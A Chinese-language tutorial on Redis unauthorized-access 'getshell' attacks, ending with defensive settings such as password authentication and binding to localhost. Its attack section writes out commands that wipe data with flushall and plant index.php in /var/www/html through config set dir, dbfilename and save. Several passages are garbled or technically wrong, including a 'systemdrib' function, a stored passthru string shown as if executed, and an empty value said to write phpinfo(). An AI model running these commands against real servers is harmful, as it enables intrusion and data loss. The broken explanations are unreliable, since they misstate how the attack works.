什么是Redis
Redis是一款高效的键值存储数据库,它支持多种数据结构,包括字符串、散列表、集合、有序集合等。Redis主要被用于缓存、消息队列、排行榜和实时分析等应用场景。
Redis Getshell攻击是什么?
Redis Getshell攻击是指利用Redis服务器的漏洞,通过上传恶意Redis命令获得服务器的Shell权限。由于Redis的默认配置是允许任何主机连接的,如果在受攻击的服务器上运行了Redis服务,则攻击者可以利用这个漏洞直接访问服务器上的shell。
Redis Getshell攻击原理
Redis未授权访问
Redis默认配置允许任何主机连接,没有密码验证。如果攻击者可以访问Redis服务器,则可以通过Redis协议发送任何命令。
$redis-cli -h IP -p 端口
127.0.0.1:6379> info
...
当攻击者访问Redis服务器时,可以通过控制台发送命令,使Redis服务器执行任意命令,例如:
127.0.0.1:6379> flushall
OK
执行flushall命令将删除Redis服务器数据,这意味着攻击者可以通过发送恶意命令来破坏Redis服务器。
Redis命令执行
Redis函数调用工具类redis-rce中的systemdrib命令执行函数会利用Redis的漏洞执行Shell命令。
import redis
r = redis.Redis(host='localhost', port=6379)
r.set('user','test{{passthru("id")}}')
当RCE攻击被成功执行后,合法用户可以查询“用户”键并获得攻击者游戏启动程序。
redis-cli -h localhost
127.0.0.1:6379> get user
"testuid=33(www-data) gid=33(www-data) groups=33(www-data)\n"
Redis Getshell攻击实例
下面是一份Redis Getshell攻击的代码示例:
import redis
r = redis.Redis(host='localhost', port=6379)
r.set('user','test{{passthru("id")}}')
执行上述代码,会在Redis服务器上创建一个名为“user”的键,并在键值中写入“test{{passthru("id")}}”字符串。因为Redis配置允许任何主机连接,并允许执行Redis命令,所以可以通过执行以下命令来执行Shell命令:
127.0.0.1:6379> config set dir "/var/www/html"
OK
127.0.0.1:6379> config set dbfilename "index.php"
OK
127.0.0.1:6379> set foo ""
OK
127.0.0.1:6379> save
OK
执行上述命令可以在/var/www/html目录下创建一个名为“index.php”的文件,并在文件中写入phpinfo()函数。
如何防止Redis Getshell攻击?
配置密码认证
配置Redis服务器强制密码认证是有效防止Redis Getshell攻击的一种方法。在Redis中可以通过设置密码参数,配置Redis服务器密码认证。例如,可以在Redis配置文件中添加以下内容:
requirepass 你的密码
配置Redis Server的密码认证后必须输入密码才能进行操作,这样就可以防止未经授权的用户访问Redis。
限制外部访问
要禁止外部访问Redis,可以在Redis配置文件中设置如下:
bind 127.0.0.1
这样只有本地管理用户可以访问Redis服务器。
升级到最新版本
更新Redis到最新版本也是防止Redis Getshell攻击的有效方法。Redis团队会不断修复服务器漏洞并发布安全补丁。升级到最新版可以保护系统中的Redis服务器免受已知漏洞的攻击。
结论
Redis Getshell攻击会给系统安全带来极大的威胁。攻击者通过利用Redis漏洞来获取服务器Shell权限,这样可以访问服务器中的数据和文件,甚至破坏整个系统。为了保护Redis服务器的安全,必须按照最佳实践进行配置管理,以便在攻击时及时发现和修复漏洞。